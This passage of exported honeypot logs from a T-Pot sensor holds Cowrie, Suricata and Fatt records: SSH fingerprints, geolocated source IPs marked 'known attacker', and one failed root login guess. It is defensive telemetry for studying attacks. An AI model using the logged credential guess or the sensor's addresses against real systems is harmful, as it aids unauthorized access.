"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20441	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:04:12.810725+03	2021-09-20 14:15:02.378643+03	{"_id": "HAXgAnwBvYTbRNuEtPmU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c3c0b95de439", "@version": "1", "timestamp": "2021-09-20T11:04:12.810725Z", "@timestamp": "2021-09-20T11:04:12.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20442	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:04:13.69512+03	2021-09-20 14:15:02.380643+03	{"_id": "HQXgAnwBvYTbRNuEt_lh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 29592, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 398899024862032, "@version": "1", "in_iface": "enp5s0", "src_port": 33487, "dest_port": 53, "timestamp": "2021-09-20T11:04:13.695120Z", "@timestamp": "2021-09-20T11:04:13.695Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20443	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:13.74763+03	2021-09-20 14:15:02.381614+03	{"_id": "IAXgAnwBvYTbRNuEt_n3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34730, "dest_port": 443, "timestamp": "2021-09-20T11:04:13.747630", "@timestamp": "2021-09-20T11:04:13.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20444	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:04:07.821574+03	2021-09-20 14:15:02.382642+03	{"_id": "-QXgAnwBvYTbRNuEofgK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:56808 (192.168.176.2:22) [session: 939b474c1ecd]", "session": "939b474c1ecd", "@version": "1", "protocol": "ssh", "src_port": 56808, "dest_port": 22, "timestamp": "2021-09-20T11:04:07.821574Z", "@timestamp": "2021-09-20T11:04:07.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20446	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:04:08.073875+03	2021-09-20 14:15:02.385642+03	{"_id": "_wXgAnwBvYTbRNuEo_jW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 1264238297852813, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56808, "dest_port": 22, "timestamp": "2021-09-20T11:04:08.073875Z", "@timestamp": "2021-09-20T11:04:08.073Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20447	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:04:08.074781+03	2021-09-20 14:15:02.386642+03	{"_id": "AAXgAnwBvYTbRNuEo_nX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:04:07.568205+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1264238297852813, "payload": "AAADzAYUA8jLtVrCJwnhIH9RjOMshwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56808, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:04:08.074781Z", "@timestamp": "2021-09-20T11:04:08.074Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........Z.'.. .Q..,....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20448	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:04:08.074781+03	2021-09-20 14:15:02.388644+03	{"_id": "AQXgAnwBvYTbRNuEpPlt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56808, "dest_port": 22, "timestamp": "2021-09-20T11:04:08.074781", "@timestamp": "2021-09-20T11:04:08.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20449	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:04:08.075412+03	2021-09-20 14:15:02.389642+03	{"_id": "AgXgAnwBvYTbRNuEpPmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "939b474c1ecd", "@version": "1", "timestamp": "2021-09-20T11:04:08.075412Z", "@timestamp": "2021-09-20T11:04:08.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20450	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:04:09.178841+03	2021-09-20 14:15:02.390614+03	{"_id": "AwXgAnwBvYTbRNuEqPmR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [root/axel] failed", "session": "939b474c1ecd", "@version": "1", "password": "axel", "username": "root", "timestamp": "2021-09-20T11:04:09.178841Z", "@timestamp": "2021-09-20T11:04:09.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20451	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:04:10.434901+03	2021-09-20 14:15:02.392613+03	{"_id": "BAXgAnwBvYTbRNuErPl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "939b474c1ecd", "@version": "1", "duration": 2.610891580581665, "timestamp": "2021-09-20T11:04:10.434901Z", "@timestamp": "2021-09-20T11:04:10.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20464	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.543649+03	2021-09-20 14:15:02.410614+03	{"_id": "XQXgAnwBvYTbRNuE4_ku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.543649Z", "@timestamp": "2021-09-20T11:04:24.543Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20452	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:07.825481+03	2021-09-20 14:15:02.393613+03	{"_id": "9gXgAnwBvYTbRNuEoPiE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56808, "timestamp": "2021-09-20T11:04:07.825481", "@timestamp": "2021-09-20T11:04:07.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20453	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:04:01.889378+03	2021-09-20 14:15:02.395612+03	{"_id": "8wXgAnwBvYTbRNuEifhM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c32403a8fc8d", "@version": "1", "duration": 3.184541940689087, "timestamp": "2021-09-20T11:04:01.889378Z", "@timestamp": "2021-09-20T11:04:01.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20454	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:04:21.163483+03	2021-09-20 14:15:02.396613+03	{"_id": "NAXgAnwBvYTbRNuE1vmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:04:21.009373+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 337792378152093, "payload": 